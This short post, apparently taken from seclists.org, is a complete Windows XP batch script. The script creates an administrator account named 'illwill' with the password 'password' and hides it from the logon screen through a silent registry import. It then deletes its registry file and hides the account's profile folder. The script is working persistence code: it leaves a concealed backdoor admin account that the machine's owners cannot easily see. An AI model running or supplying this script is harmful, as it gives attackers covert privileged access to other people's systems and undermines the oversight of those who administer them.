How to create a hidden user with admin rights in XP

Code:
> @echo off 
> 
> @echo HideUserXP.bat 
> 
> @echo by illwill http://illmob.org 
> 
> @echo This will create a hidden user with admin rights in XP 
> 
> @echo ( hidden meaning that the username wont appear in the logon screen) 
> 
> @echo To log on to your hidden account, you need to use the Log On To
> Windows dialog box by pressing Ctrl + Alt + Delete twice. 
> 
> @echo Make sure you're logged off all accounts. You can't just switch users.
> 
>   
> 
> net user illwill password /add && net localgroup administrators illwill /add
> 
> echo Windows Registry Editor Version 5.00> c:\hide.reg 
> 
> echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
> NT\CurrentVersion\Winlogon\SpecialAccounts\UserList]>>
> c:\hide.reg 
> 
> echo "illwill"=dword:00000000>> c:\hide.reg 
> 
> REGEDIT /S c:\hide.REG 
> 
> DEL /Q c:\hide.REG 
> 
> attrib +r +a +s +h %SystemDrive%\docume~1\illwill 
> 
> Exit
Quelle: seclists.org